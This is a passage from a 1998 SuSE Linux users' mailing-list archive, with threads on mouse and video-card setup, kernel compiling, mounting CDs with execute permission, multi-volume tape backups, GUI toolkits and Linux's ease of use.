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THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh
universally to man. - Thomas Paine,  _The Age of Reason_

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of God; let a crown be placed thereon, by which; the world may know,
that so far as we approve of monarchy, that in America the law is king.
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From leonmcclatchey@homemail.com Sat Jun 27 16:40:41 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sat, 27 Jun 1998 11:40:41 -0500
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Steven T. Hatton wrote:

>  I also used xemacs to touch it up.  IMHO it is a wonderful tool.

Yep, I've looked at it, (well actually emacs) but I keep getting lost when I
try to do simple scripts.  So for that I've been using the internal editor in
mc.  Haven't really looked at xemacs itself yet, but from what I understand,
it is an excellent programming tool.  Has a lot of built in capabilities as
far as fomatting for different languages and things?  I do know that I don't
like "vi" very much, it kind of reminds me too much of the old dos edlin,
except that at least with "vi" you do have the capability of looking at your
entire page:=)

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From subb3@ibm.net Sat Jun 27 16:44:42 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] GPM and /dev/mouse
Date: Sat, 27 Jun 1998 12:44:42 -0400
Message-ID: <3595217A.37099A67@ibm.net>
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With YaST, the GPM administration menu shows that /dev/mouse will be
/dev/ttyS0 on COM1 port.
After YAST restarts GPM, /dev/mouse is pointing to /dev/cua0.

I thougt the CU* devices are going to be outdated and linux is moving
towards ttyS* devices.

How do I get the mouse to work? I tried to create a link from command
line and restarted the GPM and
that too didn't work.

Any ideas or pointers?

Thank you in advance.

Subba Rao
subb3(a)ibm.net

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From satan3@home.com Sat Jun 27 16:53:58 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sat, 27 Jun 1998 11:53:58 -0500
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Leon McClatchey wrote:
> Steven T. Hatton wrote:
>=20
> >  I also used xemacs to touch it up.  IMHO it is a wonderful tool.

A bit bloated for a text editor for my tastes.  I realize that emacs is
much more than just a text editor, but I prefer Visual Slick Edit for
programming and vi for text editing. =20

> > BTW, how in the world do you add so much to your signature file?  I just =
added
> my Linux User Number and netscape warns me that I've exceed the 4 line limit
> for my signature file?

Out of courtesy for others you should limit your sig to 4 lines, however
you can have the complete King James bible as your sig if you want.
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From luizfernando@aldeiaglobal.com.br Sat Jun 27 17:00:56 1998
From: luizfernando@aldeiaglobal.com.br
To: users@lists.opensuse.org
Subject: [SuSE Linux] Video Card P9100
Date: Sat, 27 Jun 1998 14:00:56 -0300
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    Hi!

    I have SuSE 5.3 release, and my computer have a video card P9100.
    I configured X-Window by xf86config. Ok, because SuSE 5.3 support
that video card. But always times that I run a "startx", my video stay
in 240X320 resolution.

    Is there some special configuration or extra driver for that video
card?

[]'s

Luiz Fernando


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From chilini@inlink.com Sat Jun 27 17:30:33 1998
From: chilini@inlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sat, 27 Jun 1998 12:30:33 -0500
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ok.. i have a BAD situation for a FTP install with any type of linux.. i
need to do an FTP install .. but in my install disk there is only
harddisk,CD-ROM, or NFS.. the closest one that i could use at this point
,due to lack of hard drive space, is NFS.. i was wondering if there was a
way to do an FTP install "thru" a NFS type deal and also go thru a WINGATE
2.1 proxy.. if you people think that this is impossible, then please tell
me and i will try something else (of course) if you think you even might
have something for me to try or need more information put it on this list
or mail me at chilini(a)inlink.com.. thanks

                Chilini

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From hlarons@mail.comcat.com Sat Jun 27 17:37:31 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld]
Date: Sat, 27 Jun 1998 13:37:31 -0400
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On Fri, Jun 26, 1998 at 10:31:56AM +0200,
weissel(a)jupiter.ph-cip.uni-koeln.de wrote:

[snip]

> 
> While I do not care about what 2 consenting adults/computers/email
> programs do to each other, I DO prefer good old ASCII.

Amen to that. And, BTW, _my_ computer didn't consent to that HTML 
message .

>
[snip]
> Oh, remember people can only judge you by your mails & Co, and if they
> come across as garbage ... 

Yes indeedy.

> -Wolfgang, triggered by HTML mails to lists.

Howard Arons

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From hlarons@mail.comcat.com Sat Jun 27 17:37:40 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sat, 27 Jun 1998 13:37:40 -0400
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On Sat, Jun 27, 1998 at 09:01:31AM +0100,
brian.jones3(a)virgin.net wrote:
> 
> Just some personal opinions.

[snip] 
 
> Finally, there has been a lot of talk about the added value of
> purchasing a distribution.

Um, guilty as charged. Coming from a background in sales/marketing (no, 
not software), the "value added" concept is uppermost im my mind, 
especially because it is the added value that justifies whatever "premium" 
is charged for a product or service. In the case of software, that 
would be documentation and tech support (among other things).

> I view the extra cost as a subsidy to
> SuSE/RH/etc. that allows them to polish the product for more general
> consumption. If I get some tech. support then great, if I get a nice
> book then great again.

Well, I have to say that your attitude is all-in-all healthier than 
mine. As for _general_ consumption, though, I don't think Linux (SuSE's 
or anyone else's) has a prayer vs MS.

Howard Arons

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From jeromek@technologist.com Sat Jun 27 17:43:44 1998
From: jeromek@technologist.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] [SuSE] Mail Quota
Date: Sun, 28 Jun 1998 01:43:44 +0800
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How to set mail quota?  Is it similar to user disk quota?

Any methods to prevent email bomb besides setting mail quota for 
each users?

Jerome
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From satan3@home.com Sat Jun 27 18:03:09 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Newbie
Date: Sat, 27 Jun 1998 13:03:09 -0500
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After you copied the zImage to /vmlinuz did you remember to run
/sbin/lilo again?  That can cause that sort of hang at boot time.

M.Jordan wrote:
> 
> Can someone help me on this
> I have compiled my own kernel with Suse
> linux (followed the instructions for lilo and everyting)
> done it before with slackware without any problems
> the system boots up and after my disks are initialized
> the system stops (i suspect some missing file for booting
> the the init files) I checked out all the possible help files
> but can't find a solution PLEASE HELP ME OUT HERE!!!!!
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From hattons@cpkwebser5.ncr.disa.mil Sat Jun 27 18:06:31 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sat, 27 Jun 1998 14:06:31 -0400
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Michael Lankton wrote:

> Out of courtesy for others you should limit your sig to 4 lines, however
> you can have the complete King James bible as your sig if you want.

Hey look, I'm down from 60k to 9 lines!  Anyhow, I'm not one to get too picky=
 about
limits like these, ya aughta see what I do about speed limits ;-).  I treat t=
hem as
recomanded minimums. (unless I am in a residential area where there might be =
kids
playing.)

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THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no h=
uman
invention can counterfeit or alter, that God speaketh universally to man. - T=
homas
Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word of Go=
d; let a
crown be placed thereon, by which; the world may know, that so far as we appr=
ove of
monarchy, that in America the law is king.  - Thomas Paine, *Common Sense*, F=
ebruary
14th, 1776

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From jpcowh01@ox.slug.louisville.edu Sat Jun 27 20:01:30 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Newbie
Date: Sat, 27 Jun 1998 16:01:30 -0400
Message-ID: <199806272001.QAA00774@ox.slug.louisville.edu>
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> the system boots up and after my disks are initialized
> the system stops (i suspect some missing file for booting=20
> the the init files) I checked out all the possible help files
> but can't find a solution PLEASE HELP ME OUT HERE!!!!!
>=20

        I guess that you've compiled in something that isn't on your system, =
or incompatible.  I am assuming you saved your old kernel image and the setti=
ngs for that kernel.  Look to see what key differences between the new kernel=
 and old kernel with:

                make menuconfig

        If you started out with one of the SuSE preinstall kernels, I believe=
 that they include a lot of things like chipset bug fixes.

        I would profile your entire machine from mboard chipsets to mouse typ=
e and make sure I have everything associated with those devices are compiled =
in the kernel.

                                                                             =
                                                                             =
                              Jonathan


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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
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From hlarons@mail.comcat.com Sat Jun 27 20:20:05 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Where's Applix?
Date: Sat, 27 Jun 1998 16:20:05 -0400
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I installed the ApplixWare demo that came with SuSE 5.2 I installed
the apxengdm package ("ApplixWare Office 4.3 Demo (English)") with YaST.

So, where's the executable? I can't find an ELF binary anywhere in this 
install. Should I have installed the axdemo package instead? The F2 
info windows in YaST on those two aren't very helpful, if one can be 
executed and the other is "write-only." :-(

Help.


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From satan3@home.com Sat Jun 27 20:29:44 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sat, 27 Jun 1998 15:29:44 -0500
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I have the commercial version of applix, and it installs to /opt/applix
by default.  If that's where it is on your box, just symlink
/opt/applix/applix to a dir in your path.

Howard Arons wrote:
> 
> I installed the ApplixWare demo that came with SuSE 5.2 I installed
> the apxengdm package ("ApplixWare Office 4.3 Demo (English)") with YaST.
> 
> So, where's the executable? I can't find an ELF binary anywhere in this
> install. Should I have installed the axdemo package instead? The F2
> info windows in YaST on those two aren't very helpful, if one can be
> executed and the other is "write-only." :-(
>
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From tanc@cuug.ab.ca Sat Jun 27 21:15:10 1998
From: tanc@cuug.ab.ca
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Subject: [S.u.S.E. Linux] dd question
Date: Sat, 27 Jun 1998 15:15:10 -0600
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Does anyone know how do you write a file to a tape, spanning across more
than 1 tape?  Also, how do you read from it?  A collegue of mine came over
this at work and he was asking me about it. =20

Also, what are the advantages or disadvantages of using cpio versus tar
for archiving? =20

Any help will be greatly appreciated. =20

Regards,
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From hekate@intergate.bc.ca Sat Jun 27 22:40:30 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sat, 27 Jun 1998 15:40:30 -0700
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It doesn't seem to take an act of congress for everybody. Just some
people. 

On Sun, 28 Jun 1998, Fred A. Miller wrote:

> Date: Sun, 28 Jun 1998 01:30:57 -0400
> From: "Fred A. Miller" 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
> 
> 
> Howard Arons wrote:
> > 
> > On Sat, Jun 27, 1998 at 09:01:31AM +0100,
> > brian.jones3(a)virgin.net wrote:
> > >
> > > Just some personal opinions.
> > 
> > [snip]
> > 
> > > Finally, there has been a lot of talk about the added value of
> > > purchasing a distribution.
> > 
> > Um, guilty as charged. Coming from a background in sales/marketing (no,
> > not software), the "value added" concept is uppermost im my mind,
> > especially because it is the added value that justifies whatever "premium"
> > is charged for a product or service. In the case of software, that
> > would be documentation and tech support (among other things).
> > 
> > > I view the extra cost as a subsidy to
> > > SuSE/RH/etc. that allows them to polish the product for more general
> > > consumption. If I get some tech. support then great, if I get a nice
> > > book then great again.
> > 
> > Well, I have to say that your attitude is all-in-all healthier than
> > mine. As for _general_ consumption, though, I don't think Linux (SuSE's
> > or anyone else's) has a prayer vs MS.
> 
> That all depends on how simple SuSE and others make the install,
> administration etc. of ALL Linux, as well as ALL software providers!  As
> long as it just about takes an "act of Congress" to install a system,
> sound drivers, fonts, printers, etc., etc., then you are correct.  IF
> the folks at SuSE and elsewhere get their act together, then Linux will
> be Bill Gates WORST nightmare!!
> 
> Fred
> 
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From satan3@home.com Sat Jun 27 22:40:32 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Qps
Date: Sat, 27 Jun 1998 17:40:32 -0500
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Attention windowmaker users.  The app, Qps, which ships with 5.2 (it's a
QT top essentially), runs a load meter IN the minimized app icon!  While
it uses a lot more cpu than top, the hell with it, that is too damn
cool.  For an example see the screenshot of my current desktop at:
http://cx119396-a.blvue1.ne.home.com>
Don't dis me for the web site, I have no experience doing html, this one
is just a test so that I get comfy with the tools before I make one I
can be proud of.

ps
man, what could be easier than setting up Apache?  too cool.  next I try
wuftpd
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From weissel@jupiter.ph-cip.uni-koeln.de Sat Jun 27 22:42:45 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld]
Date: Sun, 28 Jun 1998 00:42:45 +0200
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Hi!

Trying to kill the keyboard, hlarons(a)mail.comcat.com produced:
> Communications by Mutt 0.89

Aehm, what have you done to poor mutt?
Not only you produce 2 
X-Mailer: Mutt 0.89.1
lines in the header, but you have neither a "References:" nor
an "In-Reply-To:" line in your header.

(and you haven't upgraded to 0.91.1(i), either   :-)

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From hongfeng@public.wh.hb.cn Sat Jun 27 22:57:01 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Getting started with X programming
Date: Sun, 28 Jun 1998 06:57:01 +0800
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there are many good books guide to program with X/Motif.

for fast develop GUI, Tcl/Tk is an excellent choice, pls  read the book
from O'Reilly: "Tcl/Tk Tools" written by Mark Harrison;

for tricks and style on programming with Motif, pls read the book
from O'Reilly: "Motif Tools" written by David Flanagan.

There 2 books can give you all the tips you need now. Pls
look them at http://www.oreilly.com>

Rgds,
Frederic

Steven T. Hatton ??????

> I am writing a little symbolic logic processor as an intellectual
> exercise.  I would like to create a GUI interface to this.  Can anybody
> tell me what tools and libs I need in order to create X/motif programs?
>
> TIA,
>
> Steve
> --
>
> [htt=
p://counter.li.org>]  Yo Bill!  Doo-bee, doo-bee, doo.
>
> THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
> no human invention can counterfeit or alter, that God speaketh
> universally to man. - Thomas Paine,  _The Age of Reason_
>
> [L]et [the charter] be brought forth placed on the divine law, the word
> of God; let a crown be placed thereon, by which; the world may know,
> that so far as we approve of monarchy, that in America the law is king.
> - Thomas Paine, *Common Sense*, February 14th, 1776
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From satan3@home.com Sat Jun 27 23:07:48 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Getting started with X programming
Date: Sat, 27 Jun 1998 18:07:48 -0500
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There are two good reasons to study gtk instead. =20
A)  Motif is not gpl'ed and thus will eventually go the way of the
dinosaurs
B)  Tcl/Tk is nice, however every time a new version comes out it breaks
the existing apps and they have to be recoded.  Stupid.

Gtk is gpl'ed, rapidly nearing maturity, massively embraced by the linux
development community and has the power to be like any interface you
want it to be with it's forthcoming theme support.  Just my $.02

hongfeng wrote:
>=20
> there are many good books guide to program with X/Motif.
>=20
> for fast develop GUI, Tcl/Tk is an excellent choice, pls  read the book
> from O'Reilly: "Tcl/Tk Tools" written by Mark Harrison;
>=20
> for tricks and style on programming with Motif, pls read the book
> from O'Reilly: "Motif Tools" written by David Flanagan.
>=20
> There 2 books can give you all the tips you need now. Pls
> look them at http://www.oreilly.com>
>=20
> Rgds,
> Frederic
>=20
> Steven T. Hatton ??????
>=20
> > I am writing a little symbolic logic processor as an intellectual
> > exercise.  I would like to create a GUI interface to this.  Can anybody
> > tell me what tools and libs I need in order to create X/motif programs?
> >
> > TIA,
> >
> > Steve
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From tanc@cuug.ab.ca Sun Jun 28 02:12:55 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Getting started with X programming
Date: Sat, 27 Jun 1998 20:12:55 -0600
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On Sat, 27 Jun 1998, Michael Lankton wrote:

>=20
> There are two good reasons to study gtk instead. =20
> A)  Motif is not gpl'ed and thus will eventually go the way of the
> dinosaurs

I seriously doubt that.  Look at who is backing Motif and CDE.  Also, take
a look at the number of machines on which Motif is available today.
Another reason is companies developing application software would use
Motif because they know it is supported by a known group of people -- the
company that supplied the package, which on most other UNIX machines would
also be the hardware supplier.  They have someone to blame when something
fails.  Also, since they are developing applications for a certain
customer or a certain group of customers, the customer will know exactly
who the application company is blaming too.  And chances are they are more
understanding of the situation and thus, are more willing to work with the
application company to come up with a feasible solution.  Comparing the
number of companies that are developing applications using commercial
packages to those that use GPLed packages, the former are many times
more than the latter for exactly the same reason.  One very good example
industry is the geophysics industry.  This is a very computing application
intensive field.  How many of them are developing using gcc, Mesa or
Lesstif or Gtk?  I don't like to say this here, but what is the percentage
of Linux usage in such an industry? =20

> B)  Tcl/Tk is nice, however every time a new version comes out it breaks
> the existing apps and they have to be recoded.  Stupid.
>=20
> Gtk is gpl'ed, rapidly nearing maturity, massively embraced by the linux
> development community and has the power to be like any interface you
> want it to be with it's forthcoming theme support.  Just my $.02
>=20
> hongfeng wrote:
> >=20
> > there are many good books guide to program with X/Motif.
> >=20
> > for fast develop GUI, Tcl/Tk is an excellent choice, pls  read the book
> > from O'Reilly: "Tcl/Tk Tools" written by Mark Harrison;
> >=20
> > for tricks and style on programming with Motif, pls read the book
> > from O'Reilly: "Motif Tools" written by David Flanagan.
> >=20
> > There 2 books can give you all the tips you need now. Pls
> > look them at http://www.oreilly.com>
> >=20
> > Rgds,
> > Frederic
> >=20
> > Steven T. Hatton ??????
> >=20
> > > I am writing a little symbolic logic processor as an intellectual
> > > exercise.  I would like to create a GUI interface to this.  Can anybody
> > > tell me what tools and libs I need in order to create X/motif programs?
> > >
> > > TIA,
> > >
> > > Steve
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From fmiller@lightlink.com Sun Jun 28 04:58:42 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] fstab
Date: Sun, 28 Jun 1998 00:58:42 -0400
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Juergen Braukmann wrote:
> 
> Fred A. Miller wrote:
> >
> > Anyone know how to set the execute rights on a CD in fstab?  The line in
> > my fstab is currently: /dev/hdc     /cdrom     iso9660
> > ro/noauto/user  0   0.
> >
> > Thanks!
> >
> > Fred
> >
> 
> Hello Fred,
> 
> The option "user" implies that user may mount a disk and therefor do
> nasty thigs to the system. Therefor, the option "noexec" that prohibits
> programm execution is aktive too.

I mounted the drive as root, and also changed "ro" in fstab to "exec." 
It still doesn't work.  Where is the "noexec" setting hidden?
 
> You can add "exec" to the list of options, or mount the cd manually as
> root
> umount /dev/hdc
> mount -t iso9660 /dev/hdc /cdrom
> 
> the mount options, if questions remain are well described in mounts man

Thanks,

Fred


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From mhtexcollins@ccms.net Sun Jun 28 05:13:19 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Star NX-1020
Date: Sun, 28 Jun 1998 00:13:19 -0500
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Does anyone know where I should look??  It rattles every time I reboot,
and it works in 95 soooo..

Please help, Thanks

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From fmiller@lightlink.com Sun Jun 28 05:26:07 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 01:26:07 -0400
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Brian Jones wrote:
> 
> Just some personal opinions.
> 
> I have just moved to SuSE 5.2 from RH 5.0. I like both distributions for
> different reasons: I guess it depends on your hardware options but I
> believe that it would be easier for a newcomer to install RH than SuSE
> because the installation process is more linear. SuSE puts you more in
> control but requires that you know just a little about what is
> happening. The tradeoff, of course, is that any post install tweaks are
> very much easier in SuSE. We should be thankful that we can buy
> distributions from competitors and move our software between them with
> such ease.
> 
> My philosophy on buying Linux stuff is to get it from the people with
> the right attitude. I switched to SuSE because of their support for KDE.
> I believe this has the potential to tempt people across the divide. KDE
> always looks crisp, clean and professional, and then once you use it you
> find that it is very well integrated. RH are also to be commended on
> their adoption of glibc but seem to have got stung for burning CDs a bit
> hastily. They are commercial and will no doubt learn from this.
> 
> When I apply this to office suites I find myself using StarOffice. It
> has glitches but these are being ironed out rapidly and the company,
> again, has the right attitude - it acknowledges the help it gets from
> the Linux community & rewards us (yes, I realise there is cunning
> marketing in there as well).
> 
> Finally, there has been a lot of talk about the added value of
> purchasing a distribution. I view the extra cost as a subsidy to
> SuSE/RH/etc. that allows them to polish the product for more general
> consumption. If I get some tech. support then great, if I get a nice
> book then great again. Despite it being "free" I will probably spend
> more money on Linux than I would on Windows but then Linux is nice
> enough to make a hobby out of.

That's "where I'm at," also Brian.  I just bought a copy of StarOffice
from StarOffice....not cheap, although less than anything from
MickySoft.  I haven't installed SO yet because it won't install off the
CD without the CD drive being executable.  I tried putting "exec" in the
fstab file, but it still doesn't work.  Startup comes up but the
startup.bin dies.  'Guess I'll have to call SO on Monday and raise
"hob."

Fred


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From fmiller@lightlink.com Sun Jun 28 05:30:57 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 01:30:57 -0400
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Howard Arons wrote:
> 
> On Sat, Jun 27, 1998 at 09:01:31AM +0100,
> brian.jones3(a)virgin.net wrote:
> >
> > Just some personal opinions.
> 
> [snip]
> 
> > Finally, there has been a lot of talk about the added value of
> > purchasing a distribution.
> 
> Um, guilty as charged. Coming from a background in sales/marketing (no,
> not software), the "value added" concept is uppermost im my mind,
> especially because it is the added value that justifies whatever "premium"
> is charged for a product or service. In the case of software, that
> would be documentation and tech support (among other things).
> 
> > I view the extra cost as a subsidy to
> > SuSE/RH/etc. that allows them to polish the product for more general
> > consumption. If I get some tech. support then great, if I get a nice
> > book then great again.
> 
> Well, I have to say that your attitude is all-in-all healthier than
> mine. As for _general_ consumption, though, I don't think Linux (SuSE's
> or anyone else's) has a prayer vs MS.

That all depends on how simple SuSE and others make the install,
administration etc. of ALL Linux, as well as ALL software providers!  As
long as it just about takes an "act of Congress" to install a system,
sound drivers, fonts, printers, etc., etc., then you are correct.  IF
the folks at SuSE and elsewhere get their act together, then Linux will
be Bill Gates WORST nightmare!!

Fred


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From crazycat@xs4all.nl Sun Jun 28 05:37:19 1998
From: crazycat@xs4all.nl
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Newbie
Date: Sun, 28 Jun 1998 07:37:19 +0200
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Can someone help me on this
I have compiled my own kernel with Suse
linux (followed the instructions for lilo and everyting)
done it before with slackware without any problems
the system boots up and after my disks are initialized
the system stops (i suspect some missing file for booting 
the the init files) I checked out all the possible help files
but can't find a solution PLEASE HELP ME OUT HERE!!!!!

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From satan3@home.com Sun Jun 28 05:54:33 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 00:54:33 -0500
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That was much more diplomatic than the way I phrased it.  Fortunately I
deleted the post before I sent it ;)

hekate(a)intergate.bc.ca wrote:
> 
> It doesn't seem to take an act of congress for everybody. Just some
> people.
>
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From chilini@inlink.com Sun Jun 28 05:59:37 1998
From: chilini@inlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sun, 28 Jun 1998 00:59:37 -0500
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can someone please try to help me.. if you cannot tell me and dont ignore me.=
.=20

Thanks ..

At 12:30 PM 6/27/98 -0500, you wrote:
>
>
>ok.. i have a BAD situation for a FTP install with any type of linux.. i
>need to do an FTP install .. but in my install disk there is only
>harddisk,CD-ROM, or NFS.. the closest one that i could use at this point
>,due to lack of hard drive space, is NFS.. i was wondering if there was a
>way to do an FTP install "thru" a NFS type deal and also go thru a WINGATE
>2.1 proxy.. if you people think that this is impossible, then please tell
>me and i will try something else (of course) if you think you even might
>have something for me to try or need more information put it on this list
>or mail me at chilini(a)inlink.com.. thanks
>
>		Chilini
>
>
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From chris123@netcom.ca Sun Jun 28 06:45:35 1998
From: chris123@netcom.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 02:45:35 -0400
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Someone here recently complained
> about it being slow to come up.  It's up and running in around 10
> secs. on this box, a Tyan S1846 BX MOB with 333Mhz. CPU.

for us in the real world with a P133/32 megs ram it takes over a minute
to even get to the spash screen and no other programs up. I use it and
cant live without it. Cant wait for WP8/99US this summer and the Suite
later next year. 

best regards

ch
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From ke@suse.de Sun Jun 28 07:29:02 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 09:29:02 +0200
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Hello Brian and all of you,

I like to read your "thinking about suse" -- I guess we'll profit from
it.

Brian Jones  writes:

|   [...] I guess it depends on your hardware options but I believe that
|   it would be easier for a newcomer to install RH than SuSE because
|   the installation process is more linear.

Yes, that's a right observation.  But with the forthcoming 5.3 we can
offer a linear installation process, too ;)  Of course, the old way will
be provided as well; the old way will be labeled "expert mode".

Karl


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From jpcowh01@ox.slug.louisville.edu Sun Jun 28 07:58:11 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sun, 28 Jun 1998 03:58:11 -0400
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> can someone please try to help me.. if you cannot tell me and dont ignore m=
e..=20
>=20

        Dude, There may be a way to do a install off another computer with ft=
p, but I don't believe YaST supports that currently.  I think FTP requires a =
specific port to recieve all of it's data, and nfs works with dynamic port as=
signmemnt...  I think...  I'm not sure if SuSE has a url for nfs install...

        When you go to install (I am assuming 5.2) look to see if a pre-insta=
ll kernel has something like ftp-install...  I would suggest using a null mod=
em link between the two with pppd...  then seeing if you could use smb betwee=
n the two machines to install...

                                                                             =
                                                                             =
                      Jonathan


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From fmiller@lightlink.com Sun Jun 28 08:03:05 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 04:03:05 -0400
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hekate(a)intergate.bc.ca wrote:
> 
> It doesn't seem to take an act of congress for everybody. Just some
> people.

No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
to be mains stream, and it deserves to be, then it must be MUCH more
user friendly.

Fred


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From brauki@cityweb.de Sun Jun 28 08:38:24 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] fstab
Date: Sun, 28 Jun 1998 10:38:24 +0200
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Fred A. Miller wrote:
> 
> Juergen Braukmann wrote:
> >
> > Fred A. Miller wrote:
> > >
> > > Anyone know how to set the execute rights on a CD in fstab?  The line in
> > > my fstab is currently: /dev/hdc     /cdrom     iso9660
> > > ro/noauto/user  0   0.
> > >
> > > Thanks!
> > >
> > > Fred
> > >
> >
> > Hello Fred,
> >
> > The option "user" implies that user may mount a disk and therefor do
> > nasty thigs to the system. Therefor, the option "noexec" that prohibits
> > programm execution is aktive too.
> 
> I mounted the drive as root, and also changed "ro" in fstab to "exec."
> It still doesn't work.  Where is the "noexec" setting hidden?
> 
> > You can add "exec" to the list of options, or mount the cd manually as
> > root
> > umount /dev/hdc
> > mount -t iso9660 /dev/hdc /cdrom
> >
> > the mount options, if questions remain are well described in mounts man
> 
> Thanks,
> 
> Fred

Hello Fred,

Taken from "man mount".

              user   Allow an ordinary user  to  mount  the  file
                     system.   This  option  implies  the options
                     noexec, nosuid, and nodev (unless overridden
                     by subsequent options, as in the option line
                     user,exec,dev,suid).

[probably my hinting add "exec" was not enough???? ;-)]

...
              dev    Interpret character or block special devices
                     on the file system.

              exec   Permit execution of binaries.
...
              suid   Allow set-user-identifier or set-group-iden­
                     tifier bits to take effect.

I mount my cdrom's like that:

/dev/scd1       /smb_cdrom                iso9660         ro,user 0   0
none            /proc                     proc            defaults   0  
0
/dev/scd0       /S.u.S.E.                 iso9660         ro   0   0

scd1 (free for samba use) may be mounted by everyone,
scd0 root only. binarys on scd0 can be executed.

Jürgen


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From beamanj@novaquest.com Sun Jun 28 08:41:04 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 01:41:04 -0700
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I agree.  I am new to the Linux OS, and while I am very impressed with many
of its features, the learning curve is very steap.  I, myself, am a Systems
Developer (working mostly with Win32 operating systems) and I still have a
hard time getting Linux to do everything I want it to.  Though, I will say
this much for Linux--it's a lot more fun than WinNT :-)

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Fred A. Miller
> Sent: Sunday, June 28, 1998 1:03 AM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>
>
>
> hekate(a)intergate.bc.ca wrote:
> >
> > It doesn't seem to take an act of congress for everybody. Just some
> > people.
>
> No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
> to be mains stream, and it deserves to be, then it must be MUCH more
> user friendly.
>
> Fred
>
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From morche@sat1.de Sun Jun 28 08:55:32 1998
From: morche@sat1.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] dd question
Date: Sun, 28 Jun 1998 10:55:32 +0200
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C. J. Kenneth Tan wrote:
> 
> Does anyone know how do you write a file to a tape, spanning across more
> than 1 tape?  Also, how do you read from it?  A collegue of mine came over
> this at work and he was asking me about it.
...
# tar --help
...
Device selection and switching:
...
  -M, --multi-volume             create/list/extract multi-volume
archive
  -L, --tape-length=NUM          change tape after writing NUM x 1024
bytes
...
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From brian.jones3@virgin.net Sun Jun 28 10:20:17 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 11:20:17 +0100
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Fred A. Miller wrote:
> 
> hekate(a)intergate.bc.ca wrote:
> >
> > It doesn't seem to take an act of congress for everybody. Just some
> > people.
> 
> No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
> to be mains stream, and it deserves to be, then it must be MUCH more
> user friendly.

I have only been using Linux for a very short time since I've only had a
computer at home for a very short time. I am computer literate as I
write simulation software but I am no system administrator/kernel
hacker/etc. Everyone is familiar with the Linux community spirit where
problems get fixed fast, people queue up on lists like this to offer
